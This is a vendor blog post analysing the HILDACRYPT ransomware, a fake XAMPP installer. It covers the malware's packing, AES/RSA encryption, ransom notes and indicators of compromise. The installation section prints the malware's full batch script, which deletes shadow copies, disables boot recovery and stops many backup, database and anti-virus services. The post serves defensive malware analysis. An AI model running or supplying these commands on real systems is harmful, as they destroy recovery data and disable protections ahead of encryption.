--- title: "HILDACRYPT: A Ransomware Newcomer Hits Backup and Anti-virus Solutions" description: A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware. HILDACRYPT camouflages itself as a legitimate XAMPP installer, which is an easy to install Apache distribution containing MariaDB, PHP, and Perl. However, the cryptolocker’s file name ‘xamp’ differs from the legitimate version. Moreover, the ransomware file does not have a digital signature. We took a deep dive into this new cyberthreat to show how it works and how you can help overcome its attack with Acronis Cyber Backup. canonical_url: https://www.acronis.com/en/blog/posts/hildacrypt-ransomware-newcomer-hits-backup-and-anti-virus-solutions/ locale: en last_updated: 2026-10-27 --- [Acronis Blog](https://www.acronis.com/en/blog/) # HILDACRYPT: A Ransomware Newcomer Hits Backup and Anti-virus Solutions A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware. HILDACRYPT camouflages itself as a legitimate XAMPP installer, which is an easy to install Apache distribution containing MariaDB, PHP, and Perl. However, the cryptolocker’s file name ‘xamp’ differs from the legitimate version. Moreover, the ransomware file does not have a digital signature. We took a deep dive into this new cyberthreat to show how it works and how you can help overcome its attack with Acronis Cyber Backup. [Learn More](https://www.acronis.com/en/products/cyber-protect/) [![Image 2: MSP Threats Security Team](https://staticfiles.acronis.com/images/content/1578b8dff96325855c4525d865e7fc63.png)](https://www.acronis.com/en/blog/authors/acronis-security-team/ "MSP Threats Security Team") [MSP Threats Security Team](https://www.acronis.com/en/blog/authors/acronis-security-team/) 9 min read Last updated 26 December 2019 ![Image 3: HILDACRYPT ransom note](https://staticfiles.acronis.com/images/content/f34bc5c401c5f815040d286b85be5133.png) HILDACRYPT ransom note A new ransomware family was discovered in August 2019. Called HILDACRYPT, it is named after the Netflix cartoon “Hilda” because the TV show’s YouTube trailer was included in the ransom note of the original version of the malware. HILDACRYPT camouflages itself as a legitimate XAMPP installer, which is an easy to install Apache distribution containing MariaDB, PHP, and Perl. However, the cryptolocker’s file name ‘xamp’ differs from the legitimate version. Moreover, the ransomware file does not have a digital signature. ## Static analysis The ransomware file is PE32 .NET Assembly for MS Windows. It is 135168 bytes in size. Both the payload code and the protector’s code are written in C#. According to the compilation timestamp, the binary was compiled on September 14, 2019. While Detect It Easy claims the ransomware was packed with Confuser and ConfuserEx, these obfuscators are the same. ConfuserEx is simply the successor of Confuser, so their code signatures are extremely similar. ![Image 4: Detect It Easy analysis](https://staticfiles.acronis.com/images/content/11266f2902b513f828bd232d379b8541.png) Detect It Easy analysis To be entirely accurate, however, HILDACRYPT is packed with ConfuserEx. ![Image 5: HILDACRYPT is packed with ConfuserEx](https://staticfiles.acronis.com/images/content/adfa235c856c48aec6f11c0d8e7516c1.png) HILDACRYPT is packed with ConfuserEx SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a ## Attack vector Most likely, the ransomware was found on one of the web programming sites pretending to be the legitimate version of XAMPP software. The whole infection chain can be seen at app.any.run sandbox. ## Obfuscation The ransomware’s strings are encrypted when stored. Once launched, HILDACRYPT decodes them with Base64 and AES-256-CBC. ![Image 6: HILDACRYPT decodes ransomware strings with Base64 and AES-256-CBC](https://staticfiles.acronis.com/images/content/8fa1a0bbd53bdb129efcf97474d41de6.png) HILDACRYPT decodes ransomware strings with Base64 and AES-256-CBC ## Installation First, the ransomware creates a folder in %AppData\Roaming% with a randomly generated GUID (Globally Unique Identifier). After adding the ‘bat’ file to this location, the ransomware then runs it with cmd.exe: _cmd.exe /c \ JKfgkgj3hjgfhjka.bat \ & exit_ ![Image 7: HILDACRYPT installation process](https://staticfiles.acronis.com/images/content/d6940bcb84ce226fe6ad02c51db7ea38.png) HILDACRYPT installation process It then starts the batch script to disable system functions or services. ![Image 8: HILDACRYPT disabling system functions and services](https://staticfiles.acronis.com/images/content/6c3c2b07516d6e949ec3258d2ad7ebb1.png) HILDACRYPT disabling system functions and services The script contains a long list of commands that deletes shadow copies, disables any SQL server, as well as backup and anti-malware solutions. In addition to attacking popular backup and anti-malware solutions from Veeam, Sophos, Kaspersky, McAfee, and others, for example, it also tries (unsuccessfully) to stop the Acronis Cyber Backup services. **_@echo off_****_:: Not really a fan of ponies, cartoon girls are better, don't you think?_**_vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB_ _vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded_ _vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB_ _vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded_ _vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB_ _vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded_ _vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB_ _vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded_ _vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB_ _vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded_ _vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB_ _vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded_ _bcdedit /set {default} recoveryenabled No_ _bcdedit /set {default} bootstatuspolicy ignoreallfailures_ _vssadmin Delete Shadows /all /quiet_ _net stop SQLAgent$SYSTEM\_BGC /y_ _net stop “Sophos Device Control Service” /y_ _net stop macmnsvc /y_ _net stop SQLAgent$ECWDB2 /y_ _net stop “Zoolz 2 Service” /y_ _net stop McTaskManager /y_ _net stop “Sophos AutoUpdate Service” /y_ _net stop “Sophos System Protection Service” /y_ _net stop EraserSvc11710 /y_ _net stop PDVFSService /y_ _net stop SQLAgent$PROFXENGAGEMENT /y_ _net stop SAVService /y_ _net stop MSSQLFDLauncher$TPSAMA /y_ _net stop EPSecurityService /y_ _net stop SQLAgent$SOPHOS /y_ _net stop “Symantec System Recovery” /y_ _net stop Antivirus /y_ _net stop SstpSvc /y_ _net stop MSOLAP$SQL\_2008 /y_ _net stop TrueKeyServiceHelper /y_ _net stop sacsvr /y_ _net stop VeeamNFSSvc /y_ _net stop FA\_Scheduler /y_ _net stop SAVAdminService /y_ _net stop EPUpdateService /y_ _net stop VeeamTransportSvc /y_ _net stop “Sophos Health Service” /y_ _net stop bedbg /y_ _net stop MSSQLSERVER /y_ _net stop KAVFS /y_ _net stop Smcinst /y_ _net stop MSSQLServerADHelper100 /y_ _net stop TmCCSF /y_ _net stop wbengine /y_ _net stop SQLWriter /y_ _net stop MSSQLFDLauncher$TPS /y_ _net stop SmcService /y_ _net stop ReportServer$TPSAMA /y_ _net stop swi\_update /y_ _net stop AcrSch2Svc /y_ _net stop MSSQL$SYSTEM\_BGC /y_ _net stop VeeamBrokerSvc /y_ _net stop MSSQLFDLauncher$PROFXENGAGEMENT /y_ _net stop VeeamDeploymentService /y_ _net stop SQLAgent$TPS /y_ _net stop DCAgent /y_ _net stop “Sophos Message Router” /y_ _net stop MSSQLFDLauncher$SBSMONITORING /y_ _net stop wbengine /y_ _net stop MySQL80 /y_ _net stop MSOLAP$SYSTEM\_BGC /y_ _net stop ReportServer$TPS /y_ _net stop MSSQL$ECWDB2 /y_ _net stop SntpService /y_ _net stop SQLSERVERAGENT /y_ _net stop BackupExecManagementService /y_ _net stop SMTPSvc /y_ _net stop mfefire /y_ _net stop BackupExecRPCService /y_ _net stop MSSQL$VEEAMSQL2008R2 /y_ _net stop klnagent /y_ _net stop MSExchangeSA /y_ _net stop MSSQLServerADHelper /y_ _net stop SQLTELEMETRY /y_ _net stop “Sophos Clean Service” /y_ _net stop swi\_update\_64 /y_ _net stop “Sophos Web Control Service” /y_ _net stop EhttpSrv /y_ _net stop POP3Svc /y_ _net stop MSOLAP$TPSAMA /y_ _net stop McAfeeEngineService /y_ _net stop “Veeam Backup Catalog Data Service” /_ _net stop MSSQL$SBSMONITORING /y_ _net stop ReportServer$SYSTEM\_BGC /y_ _net stop AcronisAgent /y_ _net stop KAVFSGT /y_ _net stop BackupExecDeviceMediaService /y_ _net stop MySQL57 /y_ _net stop McAfeeFrameworkMcAfeeFramework /y_ _net stop TrueKey /y_ _net stop VeeamMountSvc /y_ _net stop MsDtsServer110 /y_ _net stop SQLAgent$BKUPEXEC /y_ _net stop UI0Detect /y_ _net stop ReportServer /y_ _net stop SQLTELEMETRY$ECWDB2 /y_ _net stop MSSQLFDLauncher$SYSTEM\_BGC /y_ _net stop MSSQL$BKUPEXEC /y_ _net stop SQLAgent$PRACTTICEBGC /y_ _net stop MSExchangeSRS /y_ _net stop SQLAgent$VEEAMSQL2008R2 /y_ _net stop McShield /y_ _net stop SepMasterService /y_ _net stop “Sophos MCS Client” /y_ _net stop VeeamCatalogSvc /y_ _net stop SQLAgent$SHAREPOINT /y_ _net stop NetMsmqActivator /y_ _net stop kavfsslp /y_ _net stop tmlisten /y_ _net stop ShMonitor /y_ _net stop MsDtsServer /y_ _net stop SQLAgent$SQL\_2008 /y_ _net stop SDRSVC /y_ _net stop IISAdmin /y_ _net stop SQLAgent$PRACTTICEMGT /y_ _net stop BackupExecJobEngine /y_ _net stop SQLAgent$VEEAMSQL2008R2 /y_ _net stop BackupExecAgentBrowser /y_ _net stop VeeamHvIntegrationSvc /y_ _net stop masvc /y_ _net stop W3Svc /y_ _net stop “SQLsafe Backup Service” /y_ _net stop SQLAgent$CXDB /y_ _net stop SQLBrowser /y_ _net stop MSSQLFDLauncher$SQL\_2008 /y_ _net stop VeeamBackupSvc /y_ _net stop “Sophos Safestore Service” /y_ _net stop svcGenericHost /y_ _net stop ntrtscan /y_ _net stop SQLAgent$VEEAMSQL2012 /y_ _net stop MSExchangeMGMT /y_ _net stop SamSs /y_ _net stop MSExchangeES /y_ _net stop MBAMService /y_ _net stop EsgShKernel /y_ _net stop ESHASRV /y_ _net stop MSSQL$TPSAMA /y_ _net stop SQLAgent$CITRIX\_METAFRAME /y_ _net stop VeeamCloudSvc /y_ _net stop “Sophos File Scanner Service” /y_ _net stop “Sophos Agent” /y_ _net stop MBEndpointAgent /y_ _net stop swi\_service /y_ _net stop MSSQL$PRACTICEMGT /y_ _net stop SQLAgent$TPSAMA /y_ _net stop McAfeeFramework /y_ _net stop “Enterprise Client Service” /y_ _net stop SQLAgent$SBSMONITORING /y_ _net stop MSSQL$VEEAMSQL2012 /y_ _net stop swi\_filter /y_ _net stop SQLSafeOLRService /y_ _net stop BackupExecVSSProvider /y_ _net stop VeeamEnterpriseManagerSvc /y_ _net stop SQLAgent$SQLEXPRESS /y_ _net stop OracleClientCache80 /y_ _net stop MSSQL$PROFXENGAGEMENT /y_ _net stop IMAP4Svc /y_ _net stop ARSM /y_ _net stop MSExchangeIS /y_ _net stop AVP /y_ _net stop MSSQLFDLauncher /y_ _net stop MSExchangeMTA /y_ _net stop TrueKeyScheduler /y_ _net stop MSSQL$SOPHOS /y_ _net stop “SQL Backups” /y_ _net stop MSSQL$TPS /y_ _net stop mfemms /y_ _net stop MsDtsServer100 /y_ _net stop MSSQL$SHAREPOINT /y_ _net stop WRSVC /y_ _net stop mfevtp /y_ _net stop msftesql$PROD /y_ _net stop mozyprobackup /y_ _net stop MSSQL$SQL\_2008 /y_ _net stop SNAC /y_ _net stop ReportServer$SQL\_2008 /y_ _net stop BackupExecAgentAccelerator /y_ _net stop MSSQL$SQLEXPRESS /y_ _net stop MSSQL$PRACTTICEBGC /y_ _net stop VeeamRESTSvc /y_ _net stop sophossps /y_ _net stop ekrn /y_ _net stop MMS /y_ _net stop “Sophos MCS Agent” /y_ _net stop RESvc /y_ _net stop “Acronis VSS Provider” /y_ _net stop MSSQL$VEEAMSQL2008R2 /y_ _net stop MSSQLFDLauncher$SHAREPOINT /y_ _net stop “SQLsafe Filter Service” /y_ _net stop MSSQL$PROD /y_ _net stop SQLAgent$PROD /y_ _net stop MSOLAP$TPS /y_ _net stop VeeamDeploySvc /y_ _net stop MSSQLServerOLAPService /y_ _del %0_ After disabling the mentioned above services and processes, the cryptolocker collects information about all running processes using the _tasklist_ command to make sure that all the needed services were disabled. _tasklist v /fo csv_ This command displays a detailed list of running processes separated with ‘,’. _"\"csrss.exe\",\"448\",\"services\",\"0\",\"1_ _�_ _896_ _��_ _\",\"unknown\",\"_ _�_ _/_ _�_ _\",\"0:00:03\",\"_ _�_ _/_ _�_ _\""_ ![Image 9: HILDACRYPT displaying running processes](https://staticfiles.acronis.com/images/content/cdc3e1a1a086aea043f45ac9a7a6d514.png) HILDACRYPT displaying running processes After this check, the ransomware starts the encryption process. ## Encryption ### File encryption HILDACRYPT goes through all of the content of found drives, skipping the ‘Recycle.Bin’ and ‘Reference Assemblies\\Microsoft’ folders. (The second folder is skipped because it contains the vital files such as dll, pdb, etc. for .Net applications that may affect the ransomware.) The following list of file extensions is used by the ransomware to find the files to be encrypted: _".vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:_ _.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:_ _.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:_ _.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:_ _.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:_ _.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:_ _.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:_ _.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:_ _.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:_ _.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:_ _.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:_ _.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:_ _.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:_ _.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:_ _.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md"_ To encrypt the user’s files, the ransomware uses AES-256-CBC crypto algorithm. The key size is 256 bits and IV is 16 bytes. ![Image 10: HILDACRYPT encrypts user files with AES-256-CBC](https://staticfiles.acronis.com/images/content/9a9c6de832f644f0c70e767415c2df83.png) HILDACRYPT encrypts user files with AES-256-CBC _Byte\_2_ and _byte\_1_ were generated randomly on the next screen via GetBytes(). ![Image 11: Generating random byte keys with GetBytes()](https://staticfiles.acronis.com/images/content/b1f12b72657d5bb4ac7d1eb00441b9f9.png) Generating random byte keys with GetBytes() ![Image 12: Encryption key and IV generation](https://staticfiles.acronis.com/images/content/02f5993c112cd9645010999513901ceb.png) Encryption key and IV generation Encrypted files get an ‘HCY!’ extension. This is an example of an encrypted file. The Key and IV mentioned above were created for this file. ![Image 13: HILDACRYPT applying HCY! extension](https://staticfiles.acronis.com/images/content/92bcdd0c12e8fd25c90621b3db109903.png) HILDACRYPT applying HCY! extension ### Keys encryption The cryptolocker stores the generated AES key in the encrypted file. The first part of the encrypted file has a header containing the data such as ‘HILDACRYPT’, ‘KEY’, ‘IV’, ‘FileLen’ in an XML format and looks as follows: ![Image 14: HILDACRYPT key encryption](https://staticfiles.acronis.com/images/content/f7f843483a9435727e4b5a192781a3fc.png) HILDACRYPT key encryption The AES Key and IV are encrypted with RSA-2048 and encoded with Base64. The RSA public key is stored in one of the encrypted strings in an XML format in cryptolocker’s body. _28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/_ _cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/_ _JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/_ _74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/_ _UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==_ _AQAB_ The RSA public key is used for AES file key encryption. The public RSA key is Base64 encoded and consists of modulus and public exponent 65537. For decryption, the private RSA key is needed, and that is owned by the attacker. After RSA encryption, the AES key is encoded with Base64 stored in the encrypted file. ### Ransom notes When encryption is completed, HILDACRYPT drops an ‘html’ file to the folders where it encrypted files. The ransomware note contains two email addresses by which a victim should contact the attacker. * hildalolilovesyou @ airmail . cc * hildalolilovesyou @ memeware . net ![Image 15: HILDACRYPT ransom note](https://staticfiles.acronis.com/images/content/f34bc5c401c5f815040d286b85be5133.png) HILDACRYPT ransom note The ransom note also has the message ‘No loli is safe ;)’ that refers to anime and manga characters that have the physiques of a prepubescent girl. ## Conclusion HILDACRYPT being a new ransomware family, there is an even newer version of it. The encryption model does not allow victims to decrypt files encrypted by the ransomware. The cryptolocker employs active protection techniques to shut down protection services that belong to backup solutions and anti-viruses. The author of HILDACRYPT is clearly a fan of anime and the “Hilda” TV series on Netflix. As usual, the good news is that [Acronis Cyber Backup](https://www.acronis.com/en-us/business/backup/) and [Acronis True Image](https://www.acronis.com/en-us/personal/computer-backup/) can protect your computer against HILDACRYPT ransomware – and service providers can similarly protect their customers with [Acronis Backup Cloud](https://www.acronis.com/en-us/cloud/service-provider/backup/). That’s because not only do these [cyber protection](https://www.acronis.com/en-us/cyber-protection/) solutions offer backup, but they also include our integrated [Acronis Active Protection](https://www.acronis.com/en-us/active-protection/), an AI-enabled and behavior-based technology that is uniquely able to deal with zero-day ransomware threats. ## IoCs ‘HCY!’ file extension HILDACRYPTReadMe.html ‘xamp.exe’ with one ‘p’ symbol and without a digital signature SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a [Cybersecurity](https://www.acronis.com/en/blog/tags/cybersecurity/) [Cyber protection](https://www.acronis.com/en/blog/tags/cyber-protection/) ## Written by ![Image 16: MSP Threats Security Team](https://staticfiles.acronis.com/images/content/1578b8dff96325855c4525d865e7fc63.png) MSP Threats Security Team [Previous post](https://www.acronis.com/en/blog/posts/acronis-global-cyber-summit-day-3-boot-camp-cyber-protection-revolution/) [Acronis Global Cyber Summit Day 3: Boot Camp for Cyber Protection Revolution](https://www.acronis.com/en/blog/posts/acronis-global-cyber-summit-day-3-boot-camp-cyber-protection-revolution/) [Next post](https://www.acronis.com/en/blog/posts/best-moments-acroniscybersummit-2019/) [The Best Moments from #AcronisCyberSummit 2019](https://www.acronis.com/en/blog/posts/best-moments-acroniscybersummit-2019/) About Acronis Acronis is a leader in AI-native cyber protection, unifying data protection, cybersecurity, IT operations and hybrid infrastructure to deliver business continuity, security and compliance with less cost and complexity. More than 21,000 service providers trust Acronis to protect over 750,000 businesses in 150 countries. Acronis is headquartered in Schaffhausen, Switzerland. [Add as a preferred source on Google](https://google.com/preferences/source?q=acronis.com) ## Related stories Want to learn more? Read the latest stories featuring this solution on our blog. [Acronis Blog](https://www.acronis.com/en/blog/) ![Image 17: stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://staticfiles.acronis.com/images/blog-card/9600f3eea83b8f4e168ea6c1409c8c26.png) [stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://www.acronis.com/en/blog/posts/stc-bahrain-and-acronis-partner-to-bring-endpoint-security-to-businesses/) We are proud to announce a strategic partnership with stc Bahrain, expanding access to advanced cybersecurity services for businesses across Bahrain. **October 26, 2026**3 min read ![Image 18: Introducing New Acronis CEO: Prakash Panjwani](https://staticfiles.acronis.com/images/blog-card/30cb571f6f1aaa131733e5727a4a250c.png) [Introducing New Acronis CEO: Prakash Panjwani](https://www.acronis.com/en/blog/posts/introducing-new-acronis-ceo-prakash-panjwani/) We are pleased to announce the appointment of our new Chief Executive Officer, Prakash Panjwani. A veteran cybersecurity CEO, Panjwani previously served as CEO of WatchGuard Technologies and SafeNet. **October 15, 2026**2 min read ![Image 19: Acronis expands MDR toward broader workspace protection](https://staticfiles.acronis.com/images/blog-card/18e90e89f5ec4ef0901f19008d4ccbf2.png) [Acronis expands MDR toward broader workspace protection](https://www.acronis.com/en/blog/posts/acronis-expands-mdr-toward-broader-workspace-protection/) Acronis is expanding the MDR service with capabilities that make this expertise easier to deliver and help partners address more risks. The developments build on a broader commitment to managed security: helping service providers protect the connected workspace while giving customers access to the expertise needed to investigate threats, respond effectively and maintain business continuity. **October 13, 2026**6 min read